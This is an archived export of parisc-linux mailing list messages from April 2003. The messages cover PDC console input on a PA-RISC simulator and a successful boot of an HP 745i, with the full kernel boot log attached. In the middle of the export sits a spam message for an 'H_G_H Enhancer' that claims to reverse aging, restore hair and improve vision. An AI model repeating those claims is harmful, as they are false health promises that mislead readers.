Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18129

Hi,

I am trying to boot PA-Linux off a PA-RISC simulator. I am facing a
problem with the PDC console. On my first attempt, I saw the message
asking me to switch the console. So I  turned the PDC console config
option on ( the serial mux option was turned off). I added the parameter
'console=ttyB0' in 'palo.conf'. I created the device file '/dev/ttyB0'
with major/minor = 11/0 on my ramdisk. With this, the kernel boots up on
the simulator all the way upto the sash ( Stand-alone shell) prompt. I
can even see the prompt. But, the problem is that this console doesnt
seem to be accepting input from the keyboard. It is kind of like in a
locked state.

I was going through some of the FAQ and the mailing list archive and
understand that the PDC console is not a full blown console and can only
display output. Is is true that the PDC console cannot accept keyboard
input? Or am I missing something?

I also see that there are 2 versions of the PDC console driver :
'arch/parisc/kernel/pdc_cons.c' and 'drivers/char/pdc_console.c'. Both
use the device ttyB. From what I understand, the former is used before
any of the serial drivers are initialized during boot, and has only
write capability. The latter is the full-blown console driver (though I
am not sure if it has write capability). Is my understanding correct?

I am using the source tarball 'palo-latest.tar.gz' from the parisc-linux
cvs respository and cross-compiling this on an x86 box.

Regards,
Naresh.

PS: My "init" process is 'sash' and I also have a '/dev/console' device
( major=5 minor=1) on my ramdisk. The Serial driver config option is on
and I can see it being initialized in the boot path after the PDC
console.



From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC console problem.
Date: 01 Apr 2003 00:17:04 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <1049181423.24319.17.camel@beavis.ybsoft.com>
References: <3E89DBF4.102AC68A@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622347 23989 80.91.229.3 (22 Nov 2014 02:12:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: knaresh@india.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 00:17:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A18B4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 00:17:06 -0700 (MST)
Original-Received: from ns1.ybsoft.com (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id C90102B109; Tue,  1 Apr 2003 00:17:04 -0700 (MST)
In-Reply-To: <3E89DBF4.102AC68A@india.hp.com>
X-Mailer: Ximian Evolution 1.2.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18130

> I was going through some of the FAQ and the mailing list archive and
> understand that the PDC console is not a full blown console and can only
> display output. Is is true that the PDC console cannot accept keyboard
> input? Or am I missing something?

Hmm.. The pdc_console has both read and write capabilities.  We used the
PDC console for K/E class systems before the SerialMux driver was
written.  I am not familiar with the PDC simulator, but I would be
willing to test the pdc console again on K-Class.

Which kernel are you using?

Thanks,

- Ryan


-- 
Ryan Bradetich <rbradetich@uswest.net>



From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Naresh <knaresh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PDC console problem.
Date: Tue, 01 Apr 2003 13:08:15 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <3E89E39F.B544BCFA@india.hp.com>
References: <3E89DBF4.102AC68A@india.hp.com> <1049181423.24319.17.camel@beavis.ybsoft.com>
Reply-To: knaresh@india.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622347 23997 80.91.229.3 (22 Nov 2014 02:12:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 00:39:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id A694F4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 00:39:29 -0700 (MST)
Original-Received: from redsea.india.hp.com (redsea.india.hp.com [15.76.97.3])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 0A8F21C00DDB; Thu,  3 Apr 2003 15:09:00 -0500 (EST)
Original-Received: from india.hp.com (eb9856.india.hp.com [15.76.98.56])
	by redsea.india.hp.com (8.9.3 (PHNE_25184)/8.9.3 SMKit7.02) with ESMTP id NAA22080;
	Tue, 1 Apr 2003 13:11:59 +0530 (IST)
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18131

A small correction to the original mail: the kernel source that was compiled
was the one thats listed as latest ( cvs/linux_latest.tar.gz), which I guess
is 2.4.20-pa22. I have booted this very same kernel off an L-Class machine
with the PDC console option off.

Regards
Naresh.

Ryan Bradetich wrote:

> > I was going through some of the FAQ and the mailing list archive and
> > understand that the PDC console is not a full blown console and can only
> > display output. Is is true that the PDC console cannot accept keyboard
> > input? Or am I missing something?
>
> Hmm.. The pdc_console has both read and write capabilities.  We used the
> PDC console for K/E class systems before the SerialMux driver was
> written.  I am not familiar with the PDC simulator, but I would be
> willing to test the pdc console again on K-Class.
>
> Which kernel are you using?
>
> Thanks,
>
> - Ryan
>
> --
> Ryan Bradetich <rbradetich@uswest.net>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Weissmann <paul@doorslam.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 745i (Pace) boots
Date: Tue, 1 Apr 2003 10:14:03 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <20030401081403.GB25299@hppa.doorslam.net>
Reply-To: paul@doorslam.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622347 23999 80.91.229.3 (22 Nov 2014 02:12:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 01:14:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from doorslam.net (port-212-202-173-23.reverse.qdsl-home.de [212.202.173.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id F08044829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 01:14:07 -0700 (MST)
Original-Received: from hppa.doorslam.net (localhost [127.0.0.1])
	by doorslam.net (8.12.6/8.12.2) with ESMTP id h318E58g013983
	(version=TLSv1/SSLv3 cipher=DHE-DSS-AES256-SHA bits=256 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Tue, 1 Apr 2003 10:14:06 +0200 (CEST)
Original-Received: (from paul@localhost)
	by hppa.doorslam.net (8.12.6/8.12.1/Submit) id h318E3Ov011471
	for parisc-linux@lists.parisc-linux.org; Tue, 1 Apr 2003 10:14:03 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18132

just a quick note - the above mentioned system, a 745i/50, boots up
fine with ``lifimage-2.4.20-pa32-20030322.gz'' over the network. it
is basically a 725/50, just in a different enclosure with hp-ib
support.

if someone would tell me how to interrupt the debian-installer from
coming up i could provide a dmesg or console log.


[please cc: me on answers since i'm not on the list.]


	- paul


From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Isabella T. Wilson" <isabellatwilson_60@amazon.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Turn back time on your body's biological clock!
Date: Wed, 26 Mar 2003 05:22:26 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <40a798bdebbdef677b57681d$facfc29ef25b1671@bz96y4y>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_2CE6D537_1D82D7C2179BA118.F737FAE2D72E1019"
X-Trace: ger.gmane.org 1416622348 24008 80.91.229.3 (22 Nov 2014 02:12:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 05:25:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from weather.com (unknown [63.151.155.30])
	by dsl2.external.hp.com (Postfix) with SMTP id 020574829
	for <parisc-linux@parisc-linux.org>; Tue,  1 Apr 2003 05:24:59 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18133

This is a multi-part message in MIME format.

------=_NextPart_000_2CE6D537_1D82D7C2179BA118.F737FAE2D72E1019
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit




------=_NextPart_000_2CE6D537_1D82D7C2179BA118.F737FAE2D72E1019
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

*As seen on TV*<br>
<br>
The health discovery that reverses signs of aging naturally and that is completely safe and effective 
is<br>on sale for a limited time!  Buy a two-month supply of our product and we will give you one month free!
<br><br>
All natural H_G_H Enhancer will help you with all of the following:
<br><br>
- Reduce body fat and build muscle<br>
- Enrich your sex life<br>
- Help remove cellulite and wrinkles<br>
- Sleep better, improve vision and memory<br>
- Restore hair growth and color<br>
- Strengthen your immune system<br>
- Have more energy<br>
- Turn back time on your body's biological clock up to twenty years with just six months of use!<br><br>

*** IF YOU ARE NOT COMPLETELY SATISFIED WITH OUR PRODUCT WE WILL REFUND YOU YOUR MONEY, NO QUESTIONS ASKED ***
<br><br>
<a href="http://www.betterhealth.bz/human/index.php?show=main&id=236">Click here</a> to view our site or paste
<br><br>
http://www.betterhealth.bz/human/index.php?show=main&id=236 into your web browser
<br>


------=_NextPart_000_2CE6D537_1D82D7C2179BA118.F737FAE2D72E1019--



From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 745i (Pace) boots
Date: Tue, 1 Apr 2003 13:51:18 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20030401125118.GA29376@parcelfarce.linux.theplanet.co.uk>
References: <20030401081403.GB25299@hppa.doorslam.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622348 24011 80.91.229.3 (22 Nov 2014 02:12:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Paul Weissmann <paul@doorslam.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 05:51:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2D5D4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 05:51:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 190LEU-0002GC-Oe; Tue, 01 Apr 2003 13:51:18 +0100
Content-Disposition: inline
In-Reply-To: <20030401081403.GB25299@hppa.doorslam.net>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18134

On Tue, Apr 01, 2003 at 10:14:03AM +0200, Paul Weissmann wrote:
> just a quick note - the above mentioned system, a 745i/50, boots up
> fine with ``lifimage-2.4.20-pa32-20030322.gz'' over the network. it
> is basically a 725/50, just in a different enclosure with hp-ib
> support.

That's great!  Thanks for the report.

> if someone would tell me how to interrupt the debian-installer from
> coming up i could provide a dmesg or console log.

Easiest way is to boot with `init=/bin/sh'.  You do this by interacting
with IPL/ISL, editing one of the options and appending that string to it.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Weissmann <paul@doorslam.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 745i (Pace) boots
Date: Tue, 1 Apr 2003 15:00:33 +0200
Lines: 173
Approved: news@gmane.org
Message-ID: <20030401130033.GE25299@hppa.doorslam.net>
References: <20030401081403.GB25299@hppa.doorslam.net> <20030401125118.GA29376@parcelfarce.linux.theplanet.co.uk>
Reply-To: paul@doorslam.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="7AUc2qLy4jB3hD7Z"
X-Trace: ger.gmane.org 1416622348 24017 80.91.229.3 (22 Nov 2014 02:12:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  1 06:00:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from doorslam.net (port-212-202-173-23.reverse.qdsl-home.de [212.202.173.23])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BD134829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Apr 2003 06:00:39 -0700 (MST)
Original-Received: from hppa.doorslam.net (localhost [127.0.0.1])
	by doorslam.net (8.12.6/8.12.2) with ESMTP id h31D0Y8g022608
	(version=TLSv1/SSLv3 cipher=DHE-DSS-AES256-SHA bits=256 verify=NO);
	Tue, 1 Apr 2003 15:00:35 +0200 (CEST)
Original-Received: (from paul@localhost)
	by hppa.doorslam.net (8.12.6/8.12.1/Submit) id h31D0XEi025915;
	Tue, 1 Apr 2003 15:00:33 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030401125118.GA29376@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18135

--7AUc2qLy4jB3hD7Z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Matthew Wilcox [willy@debian.org] wrote:
> On Tue, Apr 01, 2003 at 10:14:03AM +0200, Paul Weissmann wrote:
> > if someone would tell me how to interrupt the debian-installer from
> > coming up i could provide a dmesg or console log.
> 
> Easiest way is to boot with `init=/bin/sh'.  You do this by interacting
> with IPL/ISL, editing one of the options and appending that string to it.

attached is the typescript from script(1).

	- paul
--7AUc2qLy4jB3hD7Z
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="745i-debian30.txt"

$Id: 745i-debian30.txt,v 1.1 2003/04/01 09:38:18 paul Exp $

BOOT_ADMIN> boot lan

Trying lan.000000-000000.0.0
Boot path initialized.
Attempting to load IPL.


Hard booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Boot image contains:
    0/vmlinux32 3985679 bytes @ 0x8000
    0/vmlinux64 5275609 bytes @ 0x3d5800
    0/ramdisk 2665562 bytes @ 0x8dd800

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'HOME=/ ramdisk_size=8192 root=/dev/ram console=ttyS0 TERM=vt102 palo_kernel=0/linux'
Selected kernel: /linux from partition 0
Selected ramdisk: /ramdisk from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 32-bit kernelELF32 executable
Entry 001000d8 first 00100000 n 6
Segment 0 load 00100000 size 2202024 mediaptr 0x1000
Segment 1 load 0031a000 size 468144 mediaptr 0x21b000
Segment 2 load 00390000 size 257356 mediaptr 0x28e000
Segment 3 load 003d0000 size 8192 mediaptr 0x2cd000
Segment 4 load 003d8000 size 32768 mediaptr 0x2cf000
Segment 5 load 004020e4 size 112320 mediaptr 0x2d70e4
Loading ramdisk 2665562 bytes @ 05d64000...
Branching to kernel entry point 0x001000d8.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.20-32 (root@mkhppa3) (gcc version 3.0.4) #1 Sat Mar 22 14:03:22 CET 2003
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00004010 00000481 00000000 00000000 77ccf387 ffffffff 00000004 0000000a 0000000a
vers  00000013
model 9000/745
Total Memory: 96 Mb
initrd: 15d64000-15feec5a
initrd: reserving 05d64000-05feec5a (mem_max 06000000)
pagetable_init
On node 0 totalpages: 24576
zone(0): 24576 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ ramdisk_size=8192 root=/dev/ram console=ttyS0 TERM=vt102 palo_kernel=0/linux
Console: colour dummy device 160x64
Calibrating delay loop... 49.86 BogoMIPS
Memory: 91264k available
Dentry cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Searching for devices...
Found devices:
1. Pace SGC Graphics (10) at 0xf4000000 [0], versions 0x10, 0x0, 0x77
2. Pace Core BA (11) at 0xf082f000 [2], versions 0x10, 0x0, 0x70
3. Pace Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x10, 0x0, 0x71
4. Pace Core LAN (802.3) (10) at 0xf0826000 [2/0/2], versions 0x10, 0x0, 0x72
5. Pace Core HIL (10) at 0xf0821000 [2/0/3], versions 0x10, 0x0, 0x73
6. Pace Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x10, 0x0, 0x75
7. Pace Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x10, 0x0, 0x75
8. Pace Core Centronics (10) at 0xf0824000 [2/0/6], versions 0x10, 0x0, 0x74
9. Pace Core HPIB (10) at 0xf0835000 [2/0/7], versions 0x10, 0x0, 0x80
10. Pace Audio (10) at 0xf1000000 [2/0/8], versions 0x10, 0x0, 0x7e
11. Pace Core EISA (11) at 0xfc000000 [4], versions 0x10, 0x0, 0x76
12. Pace (745i, 747i) (0) at 0xfffbe000 [8], versions 0x401, 0x0, 0x4
13. Memory (1) at 0xfffbf000 [9], versions 0x20, 0x0, 0x9
CPU(s): 1 x PA7100 (PCX-T) at 50.000000 MHz
Asp version 1 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
Mongoose EISA Adapter found at 0xfc000000
EISA EEPROM at 0xf0810400
Enumerating EISA bus
EISA slot 1: HWP0C70 EISA DMA 0 IRQ 3 
EISA slot 2 a configured board was not detected ( expected ___FFFF)
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
STI GSC/PCI graphics driver version 0.9
STI byte mode ROM at f4000000, hpa at f4000000
STI id 27f12392-40a00499, conforms to spec rev. 8.02
STI device: HPA1991AC19
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, id: 27f12392, mmio: 0xf4100000
pty: 256 Unix98 ptys configured
PDC Software Console version 0.3 (2001-11-17), christoph.plattner@gmx.at
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.07
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN read from EEPROM
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 78 F5 79 IRQ 87.
82596.c $Revision: 1.1 $
SCSI subsystem driver Revision: 1.00
3c700: consistent memory allocation failed
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0 
scsi0 : LASI SCSI 53c700
  Vendor: TEAC      Model: FC-1     HF   07  Rev: RV B
  Type:   Direct-Access                      ANSI SCSI revision: 01 CCS
  Vendor: FUJITSU   Model: M2694ES-512       Rev: 812A
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi removable disk sda at scsi0, channel 0, id 0, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 1, lun 0
sda : READ CAPACITY failed.
sda : status = 1, message = 00, host = 0, driver = 08 
Current sd00:00: sns = 70  2
ASC= 4 ASCQ= 0
Raw sense data:0x70 0x00 0x02 0x00 0x00 0x00 0x00 0x08 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00 
sda : block size assumed to be 512 bytes, disk size 1GB.  
Partition check:
 sda: I/O error: dev 08:00, sector 0
 I/O error: dev 08:00, sector 0
 unable to read partition table
scsi0: (1:0) Enabling Tag Command Queuing
SCSI device sdb: 2117025 512-byte hdwr sectors (1084 MB)
 sdb: unknown partition table
harmony: no irq found
usb.c: registered new driver usbdevfs
usb.c: registered new driver hub
usb.c: registered new driver hid
hid-core.c: v1.8.1 Andreas Gal, Vojtech Pavlik <vojtech@suse.cz>
hid-core.c: USB HID support drivers
mice: PS/2 mouse device common for all mice
P SDC: HP SDC at 0xf0821000, IRQ 94 (NMI IRQ 93)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
--7AUc2qLy4jB3hD7Z--


From - Thu Nov 08 21:27:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Derek Ellis" <Derek.Ellis@us.fortis.com>
Newsgroups: gmane.linux.ports.parisc
